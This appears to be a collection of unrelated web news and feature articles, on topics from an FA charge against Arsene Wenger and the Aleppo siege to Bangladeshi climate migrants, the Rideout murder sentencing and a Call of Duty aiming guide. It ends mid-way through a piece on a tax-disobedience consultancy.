-The FA have charged Arsene Wenger with misconduct after he clashed with fourth official Anthony Taylor during stoppage time of Arsenal’s 2-1 win over Burnley on Saturday.  The Frenchman, already seething about the red card shown to Granit Xhaka on 65 minutes, went apoplectic on the touchline when referee Jon Moss awarded the visitors a 94th-minute penalty. As Andre Gray celebrated his equaliser from the spot, Wenger was ushered down the tunnel at which point he appeared to push Taylor.  The boss had to make do with watching the dying seconds of the match from the bowels of the Emirates as Alexis Sanchez snatched a win in the eighth minute of stoppage with a penalty of his own.  The boss apologised for his behaviour in his post-match comments, however, despite being contrite it’s not a surprise that he’s facing the potential of both a touchline ban and a hefty fine.  A statement from the FA reads:  “Arsene Wenger has been charged for misconduct following Arsenal’s game against Burnley on Sunday [22 January 2017].  “It is alleged that in or around the 92nd minute, he used abusive and/or insulting words towards the fourth official. It is further alleged that following his dismissal from the technical area, his behaviour in remaining in the tunnel area and making physical contact with the fourth official amounted to improper conduct.  “He has until 6pm on 26 January 2017 to respond to the charge.”
-A fear and misunderstanding of how to date online is keeping Japanese singles from connecting. Flickr/takasuii For a country that excels in technology, Japan hasn't mastered "swiping right."  In the face of a serious population decline, the country hasn't got a clue when it comes to online dating.  According to a 2012 report by Japan's National Institute of Population and Social Security Research, the number of Japanese people will fall from 127 million to around 87 million by 2060.  To add to that, a 2014 survey by the Japan Family Planning Association found that 49% of all respondents had not had sex in the past month, and 18% of men said they had no interest in sex at all. "The Japanese are legitimately worried about running out of Japanese people," comedian Aziz Ansari writes in his new book, "Modern Romance," co-authored by sociologist Eric Klinenberg.  Ansari notes that Japanese culture and the fear of being perceived as "charai" (or "a sleazy player") may explain why online dating hasn't exploded in Japan.  He also cites a problem with profile photos: "In Japan, posting any pictures of yourself, especially selfie-style photos, comes off as really douchey."  "The Japanese feel like [selfies are] so narcissistic," a 29-year-old Japanese woman named Kana told the comedian-turned-author. So instead, they use photos with two or more people, or no people at all. Kana mentioned that a lot of people just post photos of their cats, or, oddly, a rice cooker.  According to one Japanese woman, it's not uncommon to see a photo of a rice cooker on someone's online dating profile. Flickr/micropig  But peculiar profile pictures aren't the only reason online dating is floundering in Japan.  As a recent Fast Company article points out, many Japanese still view online dating as a scam. That perception dates back to the '90s, when pseudo dating sites required men to pay per message and had their employees pose as female subscribers.  And in present day, scam sites prevail. This past June, The Daily Mail reported that eight executives were arrested in Japan after allegedly fake dating sites they created in 2004 were exposed. As in the '90s, the executives allegedly paid their male employees to act as women and required subscribers to pay money to talk to the "girls."  Out of the 2.7 million members on the site, only one was female, and the sites generated over £34 million (approximately $53 million), The Daily Mail reported.  From the '90s to today, the stigma toward online dating lingers.  Almost 50% of participants in a 2014 survey by the Japan Family Planning Association said they hadn't had sex in the past month. Flickr/jamesjustin  One bright spot for online dating in Japan is the rise of social media.  In the aftermath of 2011's Tohoku earthquake and tsunami, LinkedIn's then-managing director, Arvind Rajan, told Bloomberg that social sites like Facebook assisted parents and children to post and look up personal information about missing persons. Over the next year, Facebook users increased from 6 million in 2011 to 13.5 million by February 2012.  Many dating apps now require a Facebook login, which helps reassure users that the person they're speaking with is real. But even if more people are using online dating in Japan, they'll need to do better than a group photo or a picture of their cat to find love.
-The more I watch the attempted UFC 159 promo spot that aired during this past Saturday’s TUF 17 Finale event, the more uncomfortable it gets.  There’s UFC light heavyweight champion Jon Jones, looking like it physically hurts him to stand still for the two minutes it takes to talk his upcoming fight. There’s Chael Sonnen, reciting the prepared material you couldn’t help but picture him practicing in the hotel bathroom mirror earlier that day. Between them is UFC play-by-play man Jon Anik, who might have had an easier time trying to interview a couple of Buicks.  And this, at least theoretically, was supposed to convince fans that a title fight months in the making – a title fight clearly chosen for its marketability and convenience rather than its logical mandate – will be worth the pay-per-view price tag on April 27. As Jones bolted from the interview while Sonnen stuck around as if expecting Anik to ask him to run down this week’s five-day forecast, you couldn’t feel the heat so much as the painful awkwardness of it all.  Speaking to John Morgan of MMAjunkie.com (www.mmajunkie.com) at Monday’s tryouts for “The Ultimate Fighter 18,” UFC President Dana White tried to refocus the hype by putting some words in the champ’s mouth.  “Chael and Jon Jones didn’t really talk too much smack during the season,” White said. “Now that it’s off, Jon Jones said to me the other night, ‘I’ve never actually wanted to hurt another guy that I’ve fought. I want to hurt Chael Sonnen.’ So even though they didn’t talk trash during the season, Jon Jones does not like Chael Sonnen at all.”  This rhetoric ought to be familiar to anyone who recalls that time when Georges St-Pierre totally told White that he wanted to put the worst beating we’d ever seen on Nick Diaz, as well as the time Anthony Pettis totally texted White to plead for a fight with featherweight champ Jose Aldo. Either the UFC president is not the man you want to secretly gossip about coworkers with, or else he has no problem filling in the gaps when his fighters aren’t pulling their weight in the hype department. As a fight promoter, that kind of thing is in his job description, if not his DNA.  We know that Sonnen understands how that game is played. If anything, he’s a little too eager to demonstrate just how completely he gets it, which makes him seem like a parody of himself at times. You watch that clip of him stylin’ and profilin’ next to Anik and Jones, and you start to feel like he could seamlessly transition into selling you a used car and a ticket to his traveling circus, all in the very next breath.  Jones doesn’t do that. Maybe that’s because, as the world’s greatest light heavyweight and one of the sport’s pound-for-pound best, he doesn’t have to. And, whether he’s doing it intentionally or not, his refusal to play along sort of makes Sonnen’s schtick seem even more ridiculous in contrast.  Jones is the champion, and the champion doesn’t have to hype fights to maintain relevancy. All he has to do is stay the champ. Now the UFC wants him to fight the guy whose whole thing is hype and headlines? Fine. Let him talk. Let him fulfill the duties of his office. Then when it’s time to fight, the champion can do what he does well, which is beat up professional fighters and make it look easy.  Like Jones wrote on his Twitter: “I could care less about promoting my game is winning.” It’s such a succinct explanation you can even forgive him for messing up a commonly messed up phrase (for the last time, if you could care less about something, that means you do care about it; couldn’t care less means the other thing).  By doing nothing, Jones makes Sonnen’s efforts seem even more absurd. By refusing to engage, he leaves Sonnen arguing with himself until he’s ultimately standing there alone, looking like a man who went for a high five and got left hanging.  Is Jones doing any of that on purpose? That’s a tougher one to answer, especially since it involves trying to get inside the head of an uncommonly gifted fighter who comes off as more inscrutable every time he tries to explain himself. All we know is what we can see, and from the looks of things, it sure doesn’t seem like Jones cares whether anyone is buying the stuff that comes out of Sonnen’s mouth.  Maybe that’s his way of rebelling against the culture that rewards fighters like Sonnen with more title shots than they’ve earned, but without ticking off the boss all over again. Maybe it’s all just a pleasant accident, as useful for Jones as it is uncomfortable for us to watch.  Still, if you know you’re the one who more consistently excels at the fighting part of the business, why not let the other guy do all the shouting? The nice thing about this sport is that whoever remains conscious at the end usually gets the last word.  For more on UFC 159, stay tuned to the UFC Rumors section of the site.
-Rebel fighters retreated on Sunday as advancing Syrian troops threatened to split them in two  Signs that the dogged resistance to the Syrian Army and Russian airforce in eastern Aleppo may be crumbling have started to appear as thousands of people fled to areas under government control, either due to starvation, the continued air assault or the advance of Syrian troops.  The rebel troops retreated on Sunday, faced by the risk of being split into two due to Syrian army advances.  The UK-based Syrian Observatory for Human Rights initially said about 400 people from the Masaken Hanano neighbourhood sought refuge after it was captured by pro-government forces on Saturday, and that an additional 30 families fled to Sheikh Maqsoud, which is under Kurdish control.  However, the numbers fleeing the Syrian government advance has risen sharply, as up to 3,000 fled through the day.  Syrian army recaptures part of rebel-held east Aleppo Read more  TV reports from Masaken Hanano on Sunday morning showed workers and soldiers clearing debris against a backdrop of bombed-out buildings on both sides of a wide avenue. Masaken Hanano was the first district the rebels took in the summer of 2012, leading to the division of the city into a rebel-held east and a government-controlled west.  It was also reported that the Syrian army had retaken Jabal Badro, suggesting it was on course to divide the Syrian rebel enclave at its narrowest point of Sakhour. Damascus claimed the rebel forces in the north of eastern Aleppo were in mass retreat to avoid being split and as many as 2,000 civilians had reached government-held territory in western Aleppo.  The Observatory said those fleeing had come from al-Haidariya, al-Shaar and Jabal Badro. It claimed the offensive, in its 13th day, had seen 219 civilians killed, but these numbers may well be a big underestimate due to the number of bodies trapped in rubble, and the lack of functioning hospitals.  Reuters quoted Yasser al-Yousef, from the Nour al-Din al-Zinki rebel group, as saying: “The revolutionary forces are reinforcing their defence lines on the edges of Hanano, steadfast in the defence of our people in Aleppo … But the planes have destroyed everything, stones, trees and people, in a systematic policy of destruction.”  It appears that Russia’s president, Vladimir Putin, is planning to take Aleppo beforethe inauguration of president-elect Donald Trump in January, taking advantage of the political vacuum in the US and outgoing President Barack Obama’s refusal to become directly involved.  Trump is appointing national security advisers who are more willing to work with Russia to keep Bashar al-Assad as Syria’s president, focusing instead on driving out Islamic State.  The likely election of François Fillon as the leading rightwing French presidential candidate will also strengthen the diplomatic hand of Moscow since he is regarded as willing to work with Putin to reduce economic sanctions against Moscow.  Last-ditch diplomatic efforts by the UN peace envoy, Staffan de Mistura, in Aleppo have failed, and the UN humanitarian coordinator Jan Egeland admitted last Thursday that food supplies were running low, with no plan B. He said rebel groups had accepted the terms for delivery of humanitarian aid, but no parallel agreement had come from Russia or Syrian officials.  The Russian defence ministry said the UN “did not have reliable information on alleged agreement of the ‘armed opposition’ to delivery of humanitarian aid. There are no names, evidence or documents, apart from Mr Egeland’s words”.  An estimated 250,000 people have been trapped in appalling conditions in Aleppo’s eastern districts since the government sealed its siege in late August. Many are now spending their days underground, as hospitals, schools and homes remain vulnerable to bombardment.  On the diplomatic front, a planned meeting in Paris called by the French foreign minister, Jean-Marc Ayrault, has not been confirmed and there was near silence from the US Department of State.  The Turkish president, Recep Tayyip Erdoğan, discussed with Putin the loss of four Turkish soldiers killed in northern Syria in a Syrian airforce strike, as well as the humanitarian crisis.  In the UK, 120 MPs including Michael Gove and Andrew Mitchell urged the government to air-drop humanitarian aid into Aleppo.
-When Cyclone Aila hit the coast of Bangladesh in May 2009, water swelled over embankments along the Kholpetua river.  The home Sirajul Islam (pictured) shared with his wife and four children in Kolbari village was flooded, along with the single acre he used to raise shrimp.  They left for Shyamnagar town, 15km away, where for four months he made 300-400 taka a day ($4-5) driving a rented motorbike.  When the floodwater subsided, his field was too salty for shrimp. Village buildings were flattened and there was no fresh water to drink. So in 2011, the family went to seek their fortune in the capital Dhaka.  “The cyclone had broken my economical backbone by destroying everything,” says Islam. “If there had not been such a big cyclone, I would not have moved to Dhaka.”  Bangladesh’s prime minister Sheikh Hasina has told the UN that a one-metre rise in sea level – a plausible scenario this century – would submerge a fifth of the country and turn 30 million people into “climate migrants”.  Islam shows off a set of deer antlers, a trophy from hunting in the Sundarbans, across the river. Most of the household income is from selling fish, crab and honey gathered in the mangroves – supplemented from his eldest daughter’s wages at a garment factory in Chittagong.  If there were to be another cyclone, Islam says “I would fight” to stay. It is not likely to get any easier, though. Sea levels are set to rise, compounding the problem of salt intrusion into groundwater. Tropical cyclones are expected to get more intense and destructive with global warming. In combination, they raise the risk of another devastating storm surge.  Over the past two decades, Bangladesh’s rural population has been pouring into its cities. A 2014 slum census found the number of people living on the margins of cities had doubled to 2.2 million since 1997. Meanwhile, the population in southwestern coastal regions is stagnating.  A smaller, but significant, number of displaced people cross borders, which is where it becomes a matter of at least regional, if not international concern. Up to 20 million Bangladeshis are said to be living illegally in neighbouring India. A militarised fence along 70% of the 4,000 kilometre frontier sends an unwelcoming signal. Still, people find ways to evade the patrols, typically by boat across the rivers.  Zainab Begum (pictured), a 40-year old woman collecting water from Gabura village pond, across the river from Kolbari, has two younger sisters working as waste pickers in Tamil Nadu, a southern Indian state.  With their families, they have crossed the border illegally several times. It is a risky business: one got caught and was badly beaten by Indian border guards, detained for a week before she could bribe her way out.  There was little to keep them in Gabura, one of the worst hit areas by Aila. Not a single house was left standing, says Begum, a fierce note in her voice. The levee that was supposed to keep the river out trapped a layer of sludgy, salty water on the land for three whole years. She lived in a makeshift house on the embankment; others with more resources left permanently.  Eventually, the government helped them rebuild. A three-storey cyclone shelter stands proud at the heart of the village. But land that was previously good for one rice crop a year became too salty: now it is all shrimp.  In this battered economy, Ziaur Rahman is trying to make a living teaching English and maths to private students. With a degree from Khulna University, he shows more awareness than most about the global trends affecting his country. He tells Climate Home in English: “I know about climate change. When climate change in this place, we are not happy.”  The outlook is not all bleak. Just as farmers adapted to fattening shrimp, now some have turned to crab, which can tolerate higher salinity. They do not eat it round here: it is “haram” (forbidden) for the Muslim majority and at 250 taka ($3) apiece in the market, beyond most budgets. But there is strong demand from China and Malaysia. A small plant in Kolbari packs the shellfish for export.  The scale of migration from vulnerable areas will depend on the success of these adaptations, as well as the severity of climate change impacts.
-Good aim is essential to having fun and improving your results in CoD.  I have seen this question asked numerous times “How do I get a better aim in Call of Duty” and today we are going to go over exactly that. This will be very in-depth and we will go through every aspect in order for you to be the best you can be. However, there’s a common misconception that things will change overnight although that is not the case, these things take time and if you’re willing to put in the time then great things will happen to your gameplay and you will notice drastic improvements.  Vibration – Good Or Bad?  By default on Call of Duty, your controller is set to vibrate when you shoot and get shot. This adds a whole element to the game as it allows you to virtually feel everything your character does. However, because you get so used to it you are unable to play without it.  If you are using vibration, I would recommend turning it off immediately because the rumble from the vibrations will throw your shot off and make it harder to control your aim. It is only a minor change but it can make all the difference to your game and elevate it to that next level.  Addons – Kontrol Freeks  If you haven’t heard of Kontrol Freeks already, they are an extension that sits on top of your analogue sticks. You may now be asking yourself “Why would I want this?” Well, they are much taller than regular analogue sticks, it means you don’t need to move your thumbs as much whilst aiming. This will allow you to make much more precise movements, thus making it easier to play on higher sensitivities, although not many professional players do play at a higher sensitivity, however, we will get onto that topic shortly.  They are used by a lot of professional Call of Duty players.They are one of the most notorious companies when it comes to the gaming accessory industry and has a great reputation. Not only is the quality of the product exceptional, but also because they are considerably cheap. A pair of Kontrol Freeks will only cost you a mere $10-20 so they are definitely worth trying out. The best part is, if you don’t like them, they have a 30-day money back guarantee, so there is no risk to be had.  Sensitivity Levels – Very Controversial  There is no such thing as a ‘best sensitivity level’ at all. Some players play on 3, others play on 15, it’s all about what makes you feel comfortable and if you feel comfortable then it doesn’t matter at all. However, I cannot stress how important it is to find what is the best sensitivity level for yourself. If you play on a level that you don’t feel comfortable, no matter what tips and tricks you’re told, you will NOT be accurate.  Where should I aim?  Where else would you aim? At enemies, that’s the answer the majority of us would give, however, it really does matter where you shoot at your enemy because that will be the decider of winning gunfights with players at the same level of competition as yourself.Some of you may say aim for the head, now if you have the best aim in Call of Duty then, by all means, go for it, but for the majority of us, we will struggle to connect our shots particularly with SMG’s.If you aim for the head each time you fire at the enemy, it is likely you will miss your first shots, if they are returning shots, more than likely you are dead already. Also, if they hit you when you are aiming at their head, your gun will flinch and your aim will lift upwards.To conclude this, I would highly recommend aiming at the torso for all gunfights as it’s much easier to hit your targets, kills enemies faster than shooting at legs and if you flinch you’ll more than likely hit their head as a result of doing so.  Some of you may say aim for the head, now if you have the best aim in Call of Duty then, by all means, go for it, but for the majority of us, we will struggle to connect our shots particularly with SMG’s. If you aim for the head each time you fire at the enemy, it is likely you will miss your first shots, if they are returning shots, more than likely you are dead already. Also, if they hit you when you are aiming at their head, your gun will flinch and your aim will lift upwards.To conclude this, I would highly recommend aiming at the torso for all gunfights as it’s much easier to hit your targets, kills enemies faster than shooting at legs and if you flinch you’ll more than likely hit their head as a result of doing so. To conclude this, I would highly recommend aiming at the torso for all gunfights as it’s much easier to hit your targets, kills enemies faster than shooting at legs and if you flinch you’ll more than likely hit their head as a result of doing so.  Are there attachments that will help me with my aim?  There is, most certainly. Depending on which Call of Duty you play, there are different names for this specific attachment. I will go through what they are mostly known as and you’ll get the general gist.  Attachment – Foregrip  There is one you really need to have equipped which is the grip attachment, more known as the foregrip. I am sure you’ll know the effects of this attachment, if not this attachment reduces recoil and it used by almost 80% of players. This attachment is particularly useful with SMG’s and Assault Rifles which is good for striving competitors as this is what you will use most. These weapons tend to have a lot of recoil but with having the attachment it will be able to leverage it, making it a lot easier to aim.  Is it worth purchasing an upgraded controller?  If you do not play claw, which is the art of holding your controller differently so you don’t need to use your fingers as much then yes, you will be left behind using the standard controller. All the best players play claw or have some sort of modification on their controller with the exception of one professional Call of Duty player Matthew “Skrapz” Marshall. Now you may be wondering if these controllers are legal in a competitive setting, the majority of them are legal, however, you can purchase ones that are illegal which have rapid fire mods installed. The best websites to purchase legal controllers from is Scuf Gaming and  Now you may be wondering if these controllers are legal in a competitive setting, the majority of them are legal, however, you can purchase ones that are illegal which have rapid fire mods installed. The best websites to purchase legal controllers from is Scuf Gaming and SharQ. The good thing about these modded controllers is you can build them from scratch, everything from what buttons the paddles are assigned to and what decal you have on your controller.There is one downside, they are expensive but they really are considerably more fun to play with and will really improve all aspects of your game. There is one downside, they are expensive but they really are considerably more fun to play with and will really improve all aspects of your game.  There is one downside, they are expensive but they really are considerably more fun to play with and will really improve all aspects of your game. SharQ is the cheaper of the two, seem to have better customer support and are more reliable. If you were going to buy one, I would highly recommend SharQ.  Final Tip – Become a harder target!  Once you apply all these tips in this article I have written, you will see drastic improvements. However, you will also notice you will concentrate on your accuracy too much and this will cause you to be static and not moving much during the gunfight. The easiest opponents to take out are the ones standing still, the same applies to you.  This is where I shall introduce you to the art of ‘strafing’. Strafing is when you aim down sights, you move side to side in order to become a harder target to hit. With the attachment stock, you will be able to strafe faster making it incredibly difficult to hit, as long as you can control it. You can make the argument it would make it harder for you to hit your shots, but this is not the case. As I said, as long as you can control it, it will prove to be very beneficial.  Summary  To conclude this article, we will just go over main points. There will also be a link to my Twitter, my organisations Twitter and a link to SharQ controllers at the end.  Turn controller vibration off  Controller attachments  How to find the right sensitivity level for you  Where to aim when shooting  Attachments to help  Thank you for reading my article, any constructive criticism is very welcome!  My Twitter – http://www.twitter.com/Beluzahh  Organisations Twitter – http://www.twitter.com/LazyLagGaming  SharQ Controllers – https://sharqcontrollers.com/  Advertisements
-By SHARON CHURCHER  Last updated at 17:37 31 March 2008  The mother of the Russian-born British media magnate who vanished amid fears of a KGB plot last night tearfully claimed he was murdered as a result of his commitment to exposing levels of corruption in the government of Vladimir Putin.  Jet-setting billionaire financier and film producer Leonid Rozhetskin, 41, disappeared two weeks ago from his £1million holiday home just outside the Latvian capital Riga.  Traces of blood were found in the study and later in an abandoned Porsche 4x4 belonging to Mr Rozhetskin, one of the co-founders and major shareholders in British business newspaper City AM.  Scroll down for more...  Oligarch Leonid Rozhetskin and his wife Natalya had been together for six years when he disappeared  Days earlier, the tycoon had moved his wife Natalya Belova, a glamorous blonde former model, and three-year-old son into a £3million apartment in London which he intended to be the family's main home.  Yesterday, in an emotional interview with The Mail on Sunday, his mother Elvira revealed that he repeatedly warned her that his life was in danger.  Speaking in New York, where she has lived since emigrating from Russia, Mrs Rozhetskin said that at the time of his disappearance her son was trying to expose corruption.  Mrs Rozhetskin insists her son was a victim of Russian agents.  She said: "My son isn't missing. My son is dead and the reason he is dead is that he spoke out about corruption in the Russian government.  "There was so much blood (at the Latvian villa), too much blood for my son to have survived.  "Leonid was very scared. That is why he constantly travelled from place to place. He was a very rich man. A highly qualified lawyer. A very successful man.  "But he was also a very outspoken man. Leonid said he could never be safe in any country where Moscow had connections.  "He told me he was determined to expose the level of corruption in the Russian government. He said that corruption in the Russian government had cost hundreds and hundreds of millions.  "He was even making a movie about the Russian mafia. My son hated corruption and that is why he was killed. Robbery was not the motive. This was a professional hit by hired Russian agents."  The Latvian police say they have approached Scotland Yard for help because of its experience in investigating the murder of Alexander Litvinenko, a former KGB officer turned dissident.  Litvinenko died from radiation poisoning in London in 2006 and his father has accused Putin of ordering his murder.  He also said the Russians tried to blacken his son's name with trumped-up charges.  In what might seem a similarity between the two cases, Moscow prosecutors launched a criminal investigation against Mr Rozhetskin several years ago.  This culminated in a warrant briefly being issued for his arrest for an alleged fraud.  "They said my son stole $40million," his mother recalled.  "He told me he was guilty of nothing."  Scroll down for more...  'So happy' Leonid Rozhetskin and Natalya in St Bart's in 2005  Following Mr Rozhetskin's disappearance in the early hours of March 16, stories in the Russian Press attempted to depict him as a closet homosexual.  One report claimed that before he went missing, the tycoon partied at a gay nightclub.  "My son gay? No, no," said Mrs Rozhetskin.  "That is a completely bogus smear. My son and Natasha were very happy," she added, referring to her daughter-in-law Natalya by her pet name.  "You only have to look at these photos," she adds, producing dozens of pictures of the couple.  The snaps include shots taken over Christmas 2005, when Natalya and Mr Rozhetskin flew in the oligarch's wood-panelled private jet to the Caribbean island of St. Bart's.  In some of the pictures, they cuddle their one-year-old son.  In others, Natalya, wearing a swimsuit designed by Domenico Dolce of Dolce & Gabbana – one of the couple's glamorous friends – snuggles against her husband.  "Natasha wasn't my first choice for my son," Mrs Rozhetskin said.  "He was 17 years older than her. But they have been together for six years and my son loved her very much.  "The last time I saw him, he seemed in a good mood, though maybe that was because he didn't want to scare me.  He had many homes [in Los Angeles, the South of France and Moscow] but he finally decided to settle down in England because he wanted his son to go to a good British private school and he had bought a three-bedroom home in London.  "My grandson moved in there three months ago. He had a nanny, a tutor teaching him English, and his aunt came over from St Petersburg to watch over him while Natalya closed up the flat in Moscow.  "She was due to meet my son at the new place in London on March 13. Leonid spent a couple of hours with me on Wednesday, March 12, before leaving to catch the plane to London.  "The nanny called and told me he and Natalya had both arrived. But then Leonid suddenly flew to Latvia.  "The only thing I can think is that someone warned him someone was trying to get to him in London and he was in great danger and he fled.  "He had security that was very, very tight at the villa. But somehow the killers got into the house."  Mr Rozhetskin was born in the Soviet Union in 1966. He emigrated to New York with his mother in 1980 after she left his father, Boris.  As a single mother, she struggled to make ends meet and the tiny flat where she now lives still looks oddly spartan for the mother of one of the world's richest men.  The living area is furnished with a table draped with a plastic cloth and a cheap settee.  The only luxury on display is an elegant fur-rimmed hat.  "I brought that with me from Russia," Elvira said.  "It was a very tough life, starting again in America, but I came here because I wanted more opportunities for Leonid."  The boy won scholarships to two of America's top universities, Columbia and Harvard, graduating in applied maths and law.  After the collapse of communism, he moved back to Russia, where he founded his venture capital firm, LV Finance.  But, like many oligarchs, he fell foul of the Putin regime and found himself accused of corruption.  In a complaint filed in September 2006 in the New York federal court, Mr Rozhetskin countered that the criminal charges against him were cooked up after he tried to thwart a plot by high-profile individuals to secretly take over MegaFon, a huge Russian mobile phone company.  Mr Rozhetskin, whose company owned 25 per cent of MegaFon, claimed that figures connected to MegaFon tried to intimidate him into transferring his shares  to an investment fund accumulating MegaFon shares.  "The message was clear: transfer ownership...or suffer the consequences of physical violence or incarceration, or both," he said in the complaint.  Mr Rozhetskin's writ and a follow-up were dismissed on technical grounds, but the judge granted Mr Rozhetskin leave to resubmit his claims, and last December he filed the amended complaint with the court.  It claimed that figures connected to MegaFon had summoned Mr Rozhetskin to a meeting in Moscow in 2001.  It was "demanded that Rozhetskin turn over the ...interest in MegaFon" and it claimed that "what can only be described as a death threat" was issued.  The complaint alleges that in 2002 in New York, a second threat was issued to Mr Rozhetskin.  He was told that he "should not think that his highly-placed friends would keep him safe" and reminded that "he would not be secure in Russia, the United States, or elsewhere unless he followed instructions".  While Latvian police continue their investigations, the tycoon's mother is convinced, however, that her son's worst fears have been realised.  During her final conversations with her son, he told her that he had written his will, asking that Natalya bring up his son in England if anything happened to him.  Mrs Rozhetskin said: "Now I am afraid for the rest of our family and there is nothing anyone can do to protect us. You can only hide for so long."
-BEIRUT, May 2 (Reuters) - The death toll from an air strike by U.S.-led forces on the northern Syrian province of Aleppo on Friday has risen to 52 including seven children, a group monitoring the conflict said on Saturday.  U.S. and Arab forces have been carrying out almost daily air raids against hardline Islamist militant groups in Syria such as Islamic State since last September, and U.S.-led forces are also targeting the group in Iraq.  The British-based Observatory for Human Rights said the air raid on Friday had mistakenly struck civilians in a village on the eastern banks of the Euphrates River in Aleppo, killing members of at least six families.  The group said at least 13 people remain missing.  The United States has previously said it takes reports of civilian casualties from the U.S.-led strikes seriously and says it has a process to investigate each allegation. (Reporting by Mariam Karouny; Editing by Raissa Kasolowsky)  Our Standards: The Thomson Reuters Trust Principles.
-CLOSE Here's a quick look at the sentences in the Craig Rideout case. Scott Norris  Laura Rideout listens during her sentencing. (Photo11: Pool)  A woman and her two sons were sentenced to maximum terms on Friday for their convictions in the July 2016 murder of their father and husband, Craig Rideout.  Rideout's estranged wife, Laura Rideout and the couple's son Colin Rideout were each sentenced to 25 years to life on second-degree murder charges. Laura Rideout also received 15 years for second-degree burglary. Both, along with the couple's other son Alexander Rideout, received and 1 and 1/3 to 4 years for tampering.  All three received the maximum sentences on every charge they faced, as Judge Thomas Moran rejected their attorney's pleas for leniency.  It brings to a close — pending appeal — what Moran called "one of the ugliest things I've ever seen." Laura and Colin Rideout were convicted of strangling the victim with a homemade garrote, disfiguring his face with acid and dumping the body in a field, with Alexander Rideout participating in the cover-up.  Paul "P.J." Tucci, Laura Rideout, Colin Ridout, Alexander Rideout (Photo11: Staff photographs)  Before the sentence was announced, Craig Rideout's sister, Robbyn Drew, said it had been her brother's greatest wish to repair his relationships with his children, an opportunity that was eliminated with his killing. She asked the three defendants — her nephews and sister-in-law — receive the maximum sentences.  "There’s nothing to be done to bring my brother back," she said. "My hope is that he is be remembered as the kind, loving man he was."  CLOSE Robbyn Drew talks about her brother and the impact his murder has had on her and the family of Craig Rideout. Pool video  The defense attorneys for both Rideout brothers sought before sentencing to portray them as victims of their upbringing — Colin, the eldest, forced into the role of protector and parent, and Alex, eager to please.  "Colin Rideout never got to be a kid; he never had that benefit," Matt Parrinello said about his client. "He was forced to grow up way before any 22-year-old kid should have to grow up."  Laura Rideout's lawyer, Michael DiPrima, listed various extenuating factors from her past: her Roman Catholic faith and anti-abortion belief; her husband's alleged mental illness, and her migraines; an allegation that two of her children were conceived after Craig Rideout raped her.  "I don't believe that ... her inner person, her inner self, was capable of taking a life," he said. "Her ultimate judgment will be decided by God Almighty."  Alex Rideout listens during sentencing. (Photo11: Pool)  He also said Laura Rideout had agreed to a plea deal, ultimately rejected, that would have spared her children of murder charges.  Before the sentences were handed down, each of the defendants presented motions asking that the jury's guilty verdicts be set aside. Judge Moran denied each of those motions.  Each of the defendants was led out of the courtroom and taken to the Monroe County Jail, where they have been held since their conviction. Each will be transferred to the custody of the state prison system sometime later this month.  Craig Rideout's body was found along a rural roadside in Yates County, New York, in the early morning hours of July 20, 2016. His beaten and bloodied body was wrapped in a tarp, and investigators said some type of acid had been used in an attempt to disfigure the victim's face and hands. A shovel was found nearby, amid signs of a failed attempt to dig a hole.  Colin Rideout arrives in court prior to his sentencing. (Photo11: TINA MACINTYRE-YEE staff photogrpaher)  The following day, two of Craig Rideout's sons were arrested near a park. In the trunk of Colin and Alexander Rideout's car was a garbage bag filled with bloody clothes. Forensics experts would later conclude that the blood on those items belonged to Craig Rideout. DNA samples would later tie the items to Colin and Alexander, along with their mother Laura Rideout and her boyfriend, Paul "P.J." Tucci.  All four were eventually charged with second-degree murder and tampering with evidence for their botched attempt to clean up the crime scene and to hide the body.  Tucci was found not guilty of the murdering and tampering charges.  Prosecutors say that Craig and Laura were embroiled in a bitter divorce and a custody fight over the youngest of the couple's seven children. They theorized that Laura's desire to move to North Carolina with Tucci created a sense of urgency, and that the desire to gain custody of those children was what set the murder plot into motion.  At trial, jurors say surveillance videos of Laura, Colin, and Tucci on shopping trips to WalMart locations in the days and hours before the murder took place. Those videos showed them purchasing a tarp, bungee cords, drain cleaner, a shovel, and work gloves — items which investigators say were later found at one of the three crime scenes.  In his closing argument, Prosecutor Timothy Prosperi said that these videos were evidence of a plan for murder.  "If you are pre-planning the cleanup of a murder, you have the intent for (committing) the murder," Prosperi argued.  Jurors also saw a pair of jeans linked to Colin Rideout that were soaked in blood, which an expert testified put him in close proximity to the murder. The same conclusion was offered about jeans which contained Laura Rideout's DNA.  In all, prosecutors called more than 50 witnesses and introduced nearly 700 pieces of evidence during a trial that lasted four weeks.  The defense lawyers for each of the four defendants rested their cases without calling any witnesses.  The jury of 8 men and 4 women deliberated for five days before returning verdicts on all of the counts.  Monroe County Sheriff Patrick O'Flynn, whose office led the investigation, called it a horrendous crime. "This was definitely one of the most heinous cases I’ve seen in my more than 30 years in law enforcement," he said moments after the verdicts were delivered.  Read or Share this story: https://usat.ly/2wT1dyh
-An article by Alba Muñoz that appeared in PlayGround a few days back examines the Troika Fiscal Disobedience Consultancy project (translation mine):  A Tax Haven For All: The Decisive Rebellion?  Disobedience.eu is born, a consultancy designed to resist the Troika  An old guy on my block used to say: “If you’re going to steal, steal big. Because if you stay small, you’re just a thief, but if you steal big you’ll be a millionaire. All it takes to be rich is to skim a little from everybody.”  “You make a lot of sense!” I thought. But the old guy never stole, at least not on a grand scale, and to me, frankly, the proof is in the pudding. The world is an unfair place, sir, and what are you going to do?  He who has the most pays the least, and this, at least when it comes to taxes, goes without saying: all of the companies in the IBEX 35 — those that are publicly traded and have the most liquidity in Spain — are located in tax havens and pay minuscule amounts to the Treasury in comparison to their earnings. Citizens, small- and medium-sized businesses, aren’t so fortunate with the tax collector.  It’s unfair, but legal. They bask in the sun on a private beach, and to the rest of us they leave only a miserable puddle to splash around in. Is there really nothing that can be done?  Beyond complaining, there’s a new plan — a yet untried option: drag our towels and camping chairs onto the private beach to say, “Hello, buenos días, good morning, guten morgen, we are also in the club.”  Just a week ago, last January 14th , Disobedience.eu , the first tax rebellion consultancy meant for the common people, was launched.  It all began when the artist Núria Güell contacted Enric Duran, the activist known as the “Robin Hood of the banks” for swindling — or expropriating, you might say — some half a million euros from various financial institutions in 2008 , with the motive of finding a way to buck the Troika. From there a small tax advisor emerged, the Troika Fiscal Disobedience Consultancy.  A score of European activists, and Duran from the underground, launched what may come to be the largest hack of the financial system in Europe, at least on the part of the citizenry.  “It starts by resisting the Troika through financial strategies, by playing with the law in the same ways as the neoliberal corporations,” says Güell.  The idea is to imitate Apple, Google, and Banco Santander — not for personal gain, but “to stop paying an illegitimate debt and to start financing the common good.”  “The Troika is dedicated to commandeering and privatizing the commons, it has a colonizing nature: all the countries that are subjected to it, like Spain, Ireland, or Greece, lose their sovereignty. We must create a parallel financial system.”  Fiji, the Cayman Islands, Liechtenstein, your home  If we were to do a math problem, it might 